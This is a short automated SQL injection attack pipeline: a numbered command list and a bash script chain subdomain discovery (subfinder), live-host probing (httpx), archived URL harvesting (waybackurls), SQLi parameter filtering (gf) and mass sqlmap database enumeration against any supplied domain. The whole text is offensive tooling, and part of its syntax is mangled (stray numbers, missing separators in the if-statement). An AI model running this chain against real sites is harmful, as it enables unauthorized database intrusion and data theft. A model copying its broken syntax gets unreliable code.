subfinder -d target.com | tee -a domains.txt 2 cat domains.txt | httpx|tee -a urls-alive.txt 3 cat urls-alive.txt | waybackurls |tee -a urls-check.txt 4 gf sqli urls-check.txt >> sql.url 5 sqlmap -m sql.url --dbs --batch
#!/bin/bash
if [ $# -eq 0 ] then echo "Please provide the target domain as an argument." exit 1 fi
target_domain=$1
target_dir="$target_domain-$(date '+%Y-%m-%d_%H:%M:%S')" mkdir $target_dir
cd $target_dir
subfinder -d $target_domain | tee -a domains.txt
cat domains.txt | httpx | tee -a urls-alive.txt
cat urls-alive.txt | waybackurls | tee -a urls-check.txt
gf sqli urls-check.txt >> sql.url
sqlmap -m sql.url --dbs --batch > sqlmap-results.txt
cd ..